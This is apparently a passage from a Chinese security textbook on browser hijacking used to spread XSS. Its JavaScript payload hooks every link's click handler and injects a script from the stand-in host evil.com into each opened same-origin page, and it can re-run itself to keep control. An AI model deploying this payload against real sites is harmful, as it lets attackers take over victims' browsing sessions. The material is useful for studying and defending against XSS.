7.5 浏览器劫持技术

浏览器劫持技术是指通过劫持用户点击链接操作,在打开新窗口的时候注入攻击者的JavaScript脚本,以达到将XSS威胁延续到同域内的其他页面。

看下面的代码说明:

<body>
<!-- 劫持链接对象 -->
<a href="test1.html">test1.html</a><br />
<a href="test2.html">test2.html</a>
<script>
function script2obj(window_obj, src){
    s = window_obj.document.createElement('script');
    s.src = src;
    window_obj.document.getElementsByTagName('body')[0].appendChild(s)
}
function hijack_links(js){
    /*劫持链接点击,参数说明:
    js: 注入打开的同域链接页面的目标js文件*/
    for (i = 0; i < document.links.length; i++) {
// 遍历链接对象,劫持onclick事件
        document.links[i].onclick = function () {
            x = window.open(this.href); // 获取打开新窗口的对象
    setTimeout("script2obj(x,'"+js+"')", 2000);
// 延时2秒向打开的劫持链接对象的DOM树中注入alert.js文件
            return false;
        };
    }
}
hijack_links('http://www.evil.com/alert.js');
</script>
</body>

为了让这样的劫持继续下去,可以在alert.js中继续执行hijack_links,以达到在同域内对任意页面进行控制。